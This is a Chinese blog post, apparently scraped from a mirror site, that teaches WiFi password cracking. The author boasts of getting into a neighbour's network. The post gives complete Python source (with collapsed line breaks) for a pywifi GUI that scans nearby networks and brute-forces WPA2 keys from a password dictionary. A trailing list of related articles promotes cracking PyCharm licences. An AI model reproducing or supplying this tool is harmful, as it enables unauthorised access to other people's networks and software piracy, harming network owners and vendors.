【pycharm】WiFi密码破解【简单易学】

article/2025/8/30 0:28:42

文章目录

  • 前言
  • 一、环境搭建
      • 准备好密码的字典包
      • 安装pywifi
  • 二、破解源码
  • 三、实现结果
  • 总结


前言

今天断网,突然想借一下邻居的WiFi,居然破天荒的成功了,感觉也是很幸运吧,所以就来分享一下


一、环境搭建

准备好密码的字典包

假设准备了如下密码字典(只是假设,当然很多密码都不可能这么简单)

安装pywifi

要装导入pywifi包,不然就会出现下面的问题在这里插入图片描述
加上镜像源安装时,速度会加快
国内镜像地址:
阿里云:http://mirrors.aliyun.com/pypi/simple/
中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban):http://pypi.douban.com/simple/
清华大学:https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/simple/
在这里插入图片描述

二、破解源码

# coding:utf-8from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messageboxclass MY_GUI():def __init__(self, init_window_name):self.init_window_name = init_window_name# 密码文件路径self.get_value = StringVar()# 获取破解wifi账号self.get_wifi_value = StringVar()# 获取wifi密码self.get_wifimm_value = StringVar()self.wifi = pywifi.PyWiFi()  # 抓取网卡接口self.iface = self.wifi.interfaces()[0]  # 抓取第一个无线网卡self.iface.disconnect()  # 测试链接断开所有链接time.sleep(1)  # 休眠1秒# 测试网卡是否属于断开状态assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def __str__(self):return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())# 设置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200, text="配置")labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)# 定义树形结构与滚动条self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的标题self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4, column=0, sticky=NSEW)self.wifi_tree.bind("<Double-1>", self.onDBClick)self.vbar.grid(row=4, column=1, sticky=NS)# 搜索wifi# cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXITdef scans_wifi_list(self):  # 扫描周围wifi列表# 开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)# 在若干秒后获取扫描结果scanres = self.iface.scan_results()# 统计附近被发现的热点数量nums = len(scanres)print("数量: %s" % (nums))# print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))# 实际数据self.show_scans_wifi_list(scanres)return scanres# 显示wifi列表def show_scans_wifi_list(self, scans_res):for index, wifi_info in enumerate(scans_res):# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))# print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))# 添加密码文件目录def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)# Treeview绑定事件def onDBClick(self, event):self.sels = event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])# print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])# 读取密码字典,进行匹配def readPassWord(self):self.getFilePath = self.get_value.get()# print("文件路径:%s\n" %(self.getFilePath))self.get_wifissid = self.get_wifi_value.get()# print("ssid:%s\n" %(self.get_wifissid))self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")while True:try:self.pwdStr = self.pwdfilehander.readline()# print("密码: %s " %(self.pwdStr))if not self.pwdStr:breakself.bool1 = self.connect(self.pwdStr, self.get_wifissid)# print("返回值:%s\n" %(self.bool1) )if self.bool1:# print("密码正确:"+pwdStr# res = "密码:%s 正确 \n"%self.pwdStr;self.res = "===正确===  wifi名:%s  匹配密码:%s " % (self.get_wifissid, self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:# print("密码:"+self.pwdStr+"错误")self.res = "---错误--- wifi名:%s匹配密码:%s" % (self.get_wifissid, self.pwdStr)print(self.res)time.sleep(3)except:continue# 对wifi和密码进行匹配def connect(self, pwd_Str, wifi_ssid):# 创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid = wifi_ssid  # wifi名称self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元self.profile.key = pwd_Str  # 密码self.iface.remove_all_network_profiles()  # 删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件self.iface.connect(self.tmp_profile)  # 链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上isOK = Trueelse:isOK = Falseself.iface.disconnect()  # 断开time.sleep(1)# 检查断开状态assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOKdef gui_start():init_window = Tk()ui = MY_GUI(init_window)print(ui)ui.set_init_window()# ui.scans_wifi_list()init_window.mainloop()gui_start()

在这里插入图片描述

三、实现结果

在这里插入图片描述
在这里插入图片描述
当破解成功时会出现提示,显示出正确的wifi名和密码

总结

以上就是我进行WiFi破解的一个简单做法了,但是,我觉得可能是巧合破解了,如果要真正不试密码的话,建议还是装一个虚拟机破解来的更精确


http://chatgpt.dhexx.cn/article/6VNqTxST.shtml

相关文章

linux下载安装pycharm专业版(含破解)

参考&#xff1a; https://blog.csdn.net/sinat_41029600/article/details/80594993 https://blog.csdn.net/c2366994582/article/details/79146370 下载 https://www.jetbrains.com/pycharm/download/#sectionlinux 安装 进入到pycharm下载目录&#xff0c;将软件移动到/o…

pycharm解密

第一题 Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9 要求我们将上面这串东西用base64解密 我们在第一行调用base64&#xff0c;将上面那串字符赋值给a&#xff0c;再用 base64.b64decode(a).decode("utf-8") 对a进行解密&#xff0c;然后赋值给b&#xff0c;最…

Pycharm 2017.3.3永久破解

目录 一、文档编写的目的 二、破解步骤 2.1 下载ideaIU-2017.3.5.exe安装包 2.2 下载破解码 JetbrainsCrack-2.6.10-release-enc.jar 2.3 安装pycharm-professional-2017.3.3.exe 2.4 启动激活 一、文档编写的目的 PyCharm是一种Python IDE&#xff0c;带有一整套可以…

linux下安装和破解pycharm专业版

首先在官网下载pycharm专业版&#xff0c;网址&#xff1a;http://www.jetbrains.com/pycharm/download/#sectionlinux通过右键提取到此处&#xff0c;可以解压缩&#xff08;.tar.gz格式相当于Windows下的.rar/.zip)&#xff0c;或者通过命令行解压缩&#xff08;先cd 到文件所…

Python的下载与Pycharm安装以及破解

python的安装 1.访问python官网https://www.python.org/&#xff0c;选择Downloads&#xff0c;选择Windows&#xff0c;然后点击Python 3.6.4&#xff1b; 2.打开下载好的安装包,勾选Add Python 3.6 to PATH &#xff0c;然后选择默认路径或者其他路径安装。如果选择其他路…

pycharm for ubuntu的永久破解

结合自己走的流程&#xff0c;网上资料有些不全&#xff0c;自己没截图就借用下他们的&#xff0c;自己亲自操作了&#xff0c;没问题&#xff0c; 以上是我自己搭建好的环境&#xff1b; 下面介绍步骤&#xff1a; 1.下载安装python 网址&#xff1a;http://www.jetbrains…

【20190320】pycharm 永久破解(推荐第二种)

PyCharm是由著名的JetBrains公司所打造的一款功能强大的Python IDE&#xff0c;它具有一般IDE都具备的功能&#xff0c;并且使用起来非常方便好用。最近需求PyCharm激活码的网友非常多&#xff0c;小编就在这里给大家分享一下PyCharm2019最新可用的激活注册码。激活Pycharm专业…

安装专业版Pycharm并破解激活

1.下载pycharm的profession版本&#xff1a;http://www.jetbrains.com/pycharm/download/ 2.下载到本地后解压提取文件然后用命令进入到/pycharm-professional-2018.3.2/pycharm-2018.3.2/bin下&#xff1a; 3.到http://idea.lanyus.com/网址下下载破解补丁&#xff0c;直接下…

Pycharm2018.2永久破解

Pycharm是一款非常好用的python IDE&#xff0c;提供专业版和社区版&#xff0c;就像eclipse和myeclipse一样&#xff0c;专业版是收费的&#xff0c;而社区版是免费的但功能就没有专业版的功能强大。 1.Pycham下载 https://www.jetbrains.com/pycharm/download/#sectionwindo…

Pycharm下载+安装+破解

安装 进入到Pycharm官网下载区域&#xff0c;选择与系统对应的下载包然后点击下载&#xff1a; https://www.jetbrains.com/pycharm/download/#sectionwindows 破解 https://blog.csdn.net/u014044812/article/details/78727496 汉化 https://blog.csdn.net/u014044812/ar…

pycharm 安装激活破解方法

1、pycharm下载安装 https://www.jetbrains.com/pycharm/ 2、打开http://idea.lanyus.com/下载破解补丁 3、将补丁复制到pycharm安装目录的bin目录下 D:/Program Files/JetBrains/PyCharm 2018.3/bin 4、修改该bin目录下的pycharm.exe.vmoptions&#xff08;32位的文件&…

PhpStorm/IDEA/clion/pycharm 的破解与激活

安装完软件后&#xff0c;启动&#xff0c;在要求输入注册码的界面&#xff08;菜单栏 ⇒ help ⇒ register&#xff09;选择“License server”输入“http://idea.lanyus.com/”点击“OK”快速激活。 如果这种方式破解&#xff0c;点击 OK 按钮之后&#xff0c;出现红色错误提…

Pycharm破解方法

3.破解补丁激活 优点&#xff1a;到期时间为2099年&#xff0c;基本为永久啦缺点&#xff1a;相对服务器激活麻烦些&#xff0c;但是一共只需要3个步骤&#xff0c;其实并不麻烦 下载 https://pan.baidu.com/s/1mcQM8CLUnweY02ahKEr4PQ 并将 JetbrainsCrack-release-enc.jar 放…

PyCharm软件破解使用方法

背景 PyCharm的破解方法有很多种&#xff0c;第一种是“授权服务器激活”&#xff0c;第二种是“激活码激活”&#xff0c;第三种是“破解补丁激活”。 本文针对第三种“破解补丁激活”给出有效的破解方法。 准备工具 PyCharm破解补丁这个肯定是需要的&#xff0c;下载链接&…

VGG16结构

参考&#xff1a;https://blog.csdn.net/ziyouyi111/article/details/80546500 https://blog.csdn.net/u012606764/article/details/80495630 详细参数&#xff1a;

Pytorch:VGG16

import torch import torch.nn as nn import torch.nn.functional as Fclass VGG16(nn.Module):def __init__(self):super(VGG16, self).__init__()#输入图片大小为&#xff1a;3 * 224 * 224 self.conv1_1 nn.Conv2d(3, 64, 3) # 64 * 222 * 222 …

深度学习之基于Tensorflow2.0实现VGG16网络

VGG系列的网络&#xff0c;在网络深度上相比于其之前的网络有了提升&#xff0c;VGG16与VGG19是VGG系列的代表&#xff0c;本次基于Tensorflow2.0实现VGG16网络。 1.VGG16 网络简介 VGG16网络模型在2014年ImageNet比赛上脱颖而出&#xff0c;取得了在分类任务上排名第二&…

CNN-VGG16

一张图片如何作为输入&#xff1f; 如下图&#xff0c;彩色图像有RGB三个色值通道&#xff0c;分别表示红、绿、蓝&#xff0c;每个通道内的像素可以用一个二维数组表示&#xff0c;数值代表0-255之间的像素值。假设一张900*600的彩色的图片&#xff0c;计算机里面可以用 (90…

基于VGG16的猫狗分类实战

1 使用卷积神经网络识别猫和狗数据集 1.1 理论基础 1.1.1 VGG架构 VGG16是由Karen Simonyan和Andrew Zisserman于2014年在论文“VERY DEEP CONVOLUTIONAL NETWORKS FOR LARGE SCALE IMAGE RECOGNITION”中提出的一种处理多分类、大范围图像识别问题的卷积神经网络架构&…

VGG16代码注释

原版代码在这&#xff1a;神经网络学习小记录52——Pytorch搭建孪生神经网络&#xff08;Siamese network&#xff09;比较图片相似性 VGG注释&#xff1a; import torch import torch.nn as nn from torchvision.models.utils import load_state_dict_from_urlclass VGG(nn…